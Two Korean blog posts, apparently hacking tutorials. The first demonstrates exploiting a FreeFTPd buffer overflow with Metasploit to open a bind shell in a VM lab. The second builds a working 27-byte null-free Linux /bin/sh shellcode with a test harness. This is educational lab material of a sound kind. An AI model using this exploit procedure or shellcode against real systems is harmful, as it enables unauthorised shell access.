/* 
written by kaspy (kaspyx@gmail.com)
*/ 


 메타스플로잇 프레임워크는 취약점을 공유하는 사이트로써 취약점 DB에 존재하는 바이너리에 대한 자동화된 공격코드를 제공해줍니다. 따라서 해킹에 대해서 깊은 지식이 없어도 조금의 개념만 익히면 자동화된 공격을 통해 시스템의 권한을 획득하거나, 불법적인 바이러스를 유포하거나 악의적인 공격 또한 할 수 있습니다. 취약점의 종류는 여러 가지가 있지만 대표적으로 버퍼 오버플로우, 웹 취약점, 암호노출 등을 들 수 있습니다.

실제 테스트한 방법은 아래와 같습니다.

1. 메타스플로잇 DB에 존재하는 취약점 바이너리 다운로드
2. 취약점이 있는 바이너리를 가지고 가상의 해킹환경 구축
3. 메타스플로잇 프레임워크를 통한 해킹 시연

1. 메타스플로잇 DB에 존재하는 취약점 바이너리 다운로드

메타스플로잇(http://www.metasploit.com/)에 접속하여 프레임워크를 다운받아 설치하고 Access Metasploit Web UI를 실행해보면 아래와 같은 화면이 나옵니다.




 그럼 실제 공격을 해보기 위해 취약점이 있는 바이너리를 검색해 보겠습니다. 위의 WebUI 메뉴 중에 Modules를 클릭해서 저는 ftp라고 검색해보았습니다.

 취약점이 존재하는 바이너리에 대한 리스트들이 나옵니다. 그 중에 제일 만만할거 같은 2006년도에 발견된 취약점 바이너리인 FreeFtpd 라는 바이너리를 선택해서 정보를 구하고 해당 URL에 들어가서 해당 취약점이 존재하는 바이너리를 다운받았습니다.


2. 취약점이 있는 바이너리를 가지고 가상의 해킹환경 구축

 Server Exploit 이라는 말은 원격 공격 취약점을 종류라는 것이고, 구체적 취약점의 이름은 Key Exchange String Buffer Overflow 라는 취약점이 존재한다는 것을 확인할 수 있습니다. 그리고 VMWare 상에 가상의 서버를 구축하였습니다. (영문판 윈도우 xp sp2환경에서 FreeFtp를 실행)

실제 모의 취약점 환경을 구축해보고 테스트 해보겠습니다.
윈도우 환경에 FreeFtpd 라는 데몬을 돌려서 가상의 취약점을 구축해놓은 상황입니다. 
그럼 메타스플로잇 프레임워크를 통해 공격을 해서 서버의 권한을 얻어보겠습니다. Metasploit Console이라는 프로그램을 실행해주시기 바랍니다. 

3. 메타스플로잇 프레임워크를 통한 해킹 시연

“search” 명령어를 통해 해당 바이너리에 대한 취약점을 검색할 모습입니다. FreeFtpd 에대한 공격 코드는 위에서 보는 것처럼 2개인데, 저는 아래에 있는 
“exploit/windows/ssh/freeftpd_key_exchange” 라는 취약점에 대한 공격 코드를 사용해 보겠습니다.

“use” 라는 명령어를 통해 공격 코드를 제작해보겠습니다. 
공격을 실제 하려면 우선 ① “target”이 지정 되어야 하고, ② “payload” 와 ③ “추가 옵션”을 지정해 줘야 합니다. 여기서 “target” 이라면 실제 공격할 서버의 실행 환경 이해하면 되고, “payload” 라면 실제 공격에 성공했을 때 실행할 특별한 코드로 이해하시면 됩니다. 추가 옵션은 지정한 payload에 따라 다르게 지정해주는 옵션들입니다.

타겟 서버 환경은 영문 버젼의 윈도우 SP0~4 환경이므로 0번을 지정 하였습니다.
그럼 이제 payload를 적용해 보겠습니다. show payloads 라는 명령어를 통해 실제 공격시에 수행할 명령어를 찾아보겠습니다.

 굉장히 많은 payload 코드들이 존재하는데 위에서 하고 싶은 공격 코드를 선택해주면 됩니다. 단순히 메시지 박스를 띄우는 명령어 코드부터 특정 URL에 접속하여 다운로드하고 실행하라는 다양한 명령어 코드들이 존재합니다. 저는 “bind_tcp” 라는 payload를 선택하였습니다. 참고로 bind_tcp (bindshell)라는 payload는 공격시 특정 포트에 백도어를 열어두고 접속하면 쉘 권한을 얻을 수 있는 공격 명령어 코드입니다. 아래와 같이 set 명령어로 payload를 bindshell로 지정해주세요.


\
여기서 보시면 LPORT를 보실 수 있는데 공격했을 때 접속할 포트 번호 그리고 RHOST는 공격할 서버의 아이피 주소를 지정해줘야 함을 알 수 있습니다. LPORT와 RHOST를 지정해보겠습니다.

 이제 공격 코드에 대한 모든 설정이 끝났으면 실제 공격을 수행해야 합니다.

“exploit” 이라는 명령어로 실제 공격을 수행해보겠습니다.

 공격에 성공했을까요?? 실제 bind 쉘이 열려서 해당 서버에 관리자 권한으로 접속되는지 1977 포트로 접속해 보겠습니다.

타겟 서버의 1977 포트로 접속하면 해당 서버의 관리자 권한으로 로그인이 되는 것을 확인할 수 있습니다.

(실제 공격을 할 때는 타겟 서버의 정보를 모르는 상태이므로 포트 스캔이나 여러가지 사회 공학 기법을 통해 서버의 취약점 정보를 알아내서 공격을 하게 됩니다.) 이렇듯 타겟 취약점이 존재하는 타겟 바이너리에 대한 정보를 알면 거기에 맞는 공격 코드 스크립트를 작성해서 해킹을 할 수 있음을 확인할 수 있습니다. 이외에도 익스플로잇 쉘코드를 만들때도 메타스플로잇을 사용하면 쉽게 만들수 있습니다.


신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

버퍼 오버플로우나 포맷스트링버그 등의 취약점을 이용해서 해킹을 하는데

이때 임의의 데이터를 입력할때, 쉘을 실행 시켜주는 루틴을 넣어주는데 이것이 바로 쉘코드입니다.
그럼 이번 장에서는 쉘코드를 어떻게 만드는지 써보고자합니다.
리눅스상에서는 쉘을 실행시켜주는 명령어 함수가 뭐가 있을까요??
system(), execve(), execpl() 등등이 있는데 비교적 사용법이 단순한 execve() 함수로 작성을 해보겠습니다.
아래와 같이 간단한 코딩을 해보겠습니다.

** 테스트한 환경은 32비트 우분투 리눅스 9.x 입니다.**

1. 쉘코드 프로그래밍 하기

  1. void main()
  2. {
  3.         execve("/bin/sh",NULL,NULL);
  4. }
  5. // compile : gcc -o mkshell mkshell.c -static

단순히 리눅스 쉘을 실행시켜주는 프로그램인데, 우리에게 필요한건 저 쉘을 실행시켜주는 기계어 루틴입니다.
그리고 컴파일할때 반드시 -static 옵션을 주고 컴파일하세요!!
컴파일한후에, gdb 명령어로 실행시켜줍니다.
그리고 gdb의 disas 명령어로 execve() 루틴을 분석해보겠습니다.

2.쉘코드 분석하기

execve 함수는 위와같은 어셈블리 코드로 이루어져있군요.
분석을 해보도록 하겠습니다.

  1. 0x0804e723 <execve+3>:  mov    0x10(%ebp),%edx // 세 번째 파라미터
  2. 0x0804e726 <execve+6>:  push   %ebx
  3. 0x0804e727 <execve+7>:  mov    0xc(%ebp),%ecx  // 두 번째 파라미터
  4. 0x0804e72a <execve+10>: mov    0x8(%ebp),%ebx  //문자열의 주소, 첫번째파라미터
  5. 0x0804e72d <execve+13>: mov    $0xb,%eax
  6. 0x0804e732 <execve+18>: int    $0x80

그러니깐.. 3개의 파라미터("/bin/bash", NULL,NULL)을 인자로 주고, eax 레지스터에 0xb를 넣은다음에, 인터럽트 명령어 int 0x80을 실행시켜주면 execve() 함수가 실행되는거였군요!! 
그럼 어셈블리코드를 뽑아서 다시 컴파일 해보도록하겠습니다.

3. 쉘코드 뽑아내기

  1. #include <stdio.h>
  2.  
  3. char buf[] = "/bin/sh";
  4.  
  5. void main()
  6. {
  7.         printf("%p\n",buf);
  8.         __asm__("mov $0x0, %edx");
  9.         __asm__("mov $0x0, %ecx");
  10.         __asm__("mov $0x804a014, %eax");        //buf의 주소
  11.         __asm__("int $0x80");
  12. }
  13. /* compile: gcc -o shellcode shellcode.c

저기서 0x804a014 라는 주소는 buf 문자열버퍼의 주소입니다. ASLR을 해제한후에 자신의 프로그램에 잡힌 buf의 주소를 지정해주세요. 그런데 문제점이 하나 발생했습니다. 쉘을 실행시켜야할 문자열("/bin/sh")주소는 프로그램마다, 운영체제 버전마다 다를수 있습니다.

이에 대한 해결책으로는 call 어셈블리를 사용하면 됩니다.  

아래와같이 어셈블리코드를 짜주세요. (단 확장자를 .s 로할것)
  1. .global main
  2. main:
  3.         jmp strings #strings 주소부터 시작됨
  4. start:
  5.         movl $0xb, %eax
  6.         movl $0x0, %edx
  7.         movl $0x0, %ecx
  8.  
  9.         popl %ebx  #문자열의 주소가 pop되어 ebx에 저장됨
  10.         int $0x80
  11.  
  12. strings:
  13.         call start #start를 호출하면서 "/bin/sh"의 주소가 push됨
  14.         .string "/bin/sh"
  15. # compile : gcc -o mkshell mkshell.s

이코드를 컴파일후 나온 기계어를 objdump 유틸을 사용해서 기계어만 뽑아내도록 하겠습니다.



뽑아내니 아래와같은 헥스코드 문자열이 나오는군요

"\xb8\x0b\x00\x00\x00"

"\xba\x00\x00\x00\x00"

"\xb9\x00\x00\x00\x00"

"\x5b"

"\xcd\x80"

"\xe8\xe9\xff\xff\xff\x2f"

"/bin/sh\x0";


이코드를 실행하도록 해보겠습니다.


  1. char buf[] =
  2. "\xb8\x0b\x00\x00\x00"
  3. "\xba\x00\x00\x00\x00"
  4. "\xb9\x00\x00\x00\x00"
  5. "\x5b"
  6. "\xcd\x80"
  7. "\xe8\xe9\xff\xff\xff\x2f"
  8. "/bin/sh\x0";
  9.  
  10. void main()
  11. {
  12.         int *ret;
  13.         ret = (int*)&ret +2;
  14.         (*ret) = (int)buf;
  15.        
  16. }
  17. /* compile : gcc -o shellcode shellcode.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


실제 데이터를 입력할때는 저위에 "\xb8\x0b\x00~~ 의 기계어를 넣어주는 것입니다.
그런데 또 문제점이 하나 생겼습니다. 

4. 널('\0') 바이트 제거하기
 
 문제점이 뭐냐하면 쉘코드 내부에 널('\x00') 바이트가 포함되었다는 것입니다.
바로 strcpy, gets, sprintf 등의 버퍼오버플로우 발생 함수는 널바이트를 끝으로 데이터복사를 끝낸다는 것입니다. 그러니까 우리가 쉘코드를 제대로 넣기 위해서는 널바이트를 반드시 제거해야합니다.

 여기서 NULL문자가 나오는 명령어로 대표적인것이 movl 명령어입니다.

이는 xor를 사용하면 간단히 해결할수 있습니다. mov $0x0, %ecx를 xor %ecx, %ecx로 바꾸어주면 ecx는 0으로 초기화 됩니다. 더군다나 쉘코드의 크기도 작아집니다 mov는 5바이트만 먹는반면, xor는 2바이트면 충분합니다.

eax에 0x0b를 집어넣는것은 우선 eax를 xor로 0으로초기화하고 movb 0x0b, %al로 바꾸어주면 기계어에서 널문자가 사라집니다.

아래와 같이 개선해서 다시 코딩해주었습니다.

  1. .global main
  2. main:
  3.         jmp strings #strings 주소부터 시작됨
  4. start:
  5.         #movl $0xb, %eax
  6.         xor %eax, %eax
  7.         #movl $0x0, %edx
  8.         xor %edx, %edx
  9.         #movl $0x0, %ecx
  10.         xor %ecx, %ecx
  11.         movb $0xb, %al
  12.  
  13.         popl %ebx
  14.         int $0x80
  15.  
  16. strings:
  17.         call start #start를 호출하면서 "/bin/sh"의 주소가 push됨
  18.         .string "/bin/sh"
  19. # compile : gcc -o mkshell mkshell.s

위의 코드를 컴파일 해서 objdump로 기계어를 뽑아내보겠습니다.


뽑아낸 쉘코드는

"\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x0";

군요!!


  1. char buf[] =
  2. "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x0";
  3.  
  4. void main()
  5. {
  6.         int *ret;
  7.         ret = (int*)&ret +2;
  8.         (*ret) = (int)buf;
  9. }
  10. // compile: gcc -o shellcode2 shellcode2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack

뽑아낸 쉘코드를 컴파일해서 실행해보세요. (27바이트 쉘코드)


쉘코드가 잘 실행되고 있군요!!

5. 마치며

 지금까지 간단한 쉘코드를 작성하는 방법을 알아보았습니다. 지금은 로컬 쉘코드를 만들었는데, 공격자의 목적에따라 다양한 쉘코드를 만들수 있습니다. 대표적인 예가 리버스텔넷 쉘코드, 바인드 쉘코드, 특정 사용자 추가 쉘코드 등등이 있을수 있는데 위와 같은 방법을 통해 작성되게 됩니다.

 참고자료
- 인터넷 및 블로깅
http://pds5.egloos.com/pds/200707/02/74/freebsd_shellcode.pdf
http://ezbeat.tistory.com/150
- 관련 링크

 버퍼오버플로우(Buffer Overflow) 해킹기법이란??

신고
Posted by 캐스피


티스토리 툴바